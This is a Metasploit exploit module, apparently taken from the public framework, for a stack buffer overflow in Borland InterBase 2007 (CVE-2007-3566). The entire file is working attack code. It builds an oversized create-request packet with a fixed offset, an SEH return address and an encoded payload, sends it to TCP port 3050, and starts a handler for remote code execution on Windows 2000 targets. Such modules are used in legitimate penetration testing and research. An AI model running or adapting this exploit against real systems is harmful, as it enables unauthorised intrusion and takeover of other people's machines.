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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Borland Interbase Create-Request Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Borland Interbase 2007.
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          By sending a specially crafted create-request packet, a remote
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          attacker may be able to execute arbitrary code.
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        },
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        'Author' => 'MC',
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        'References' => [
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          [ 'CVE', '2007-3566' ],
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          [ 'OSVDB', '38602' ],
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          [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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          'AllowWin32SEH' => true
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        },
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        'Payload' => {
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          'Space' => 850,
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          'BadChars' => "\x00",
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          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll
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        ],
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        'Privileged' => true,
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2007-07-24',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(3050)])
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  end
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  def exploit
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    connect
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    # Build the exploit buffer.... It's a biggie!
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    sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])
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    sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
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    sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    handler
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    disconnect
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  end
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end
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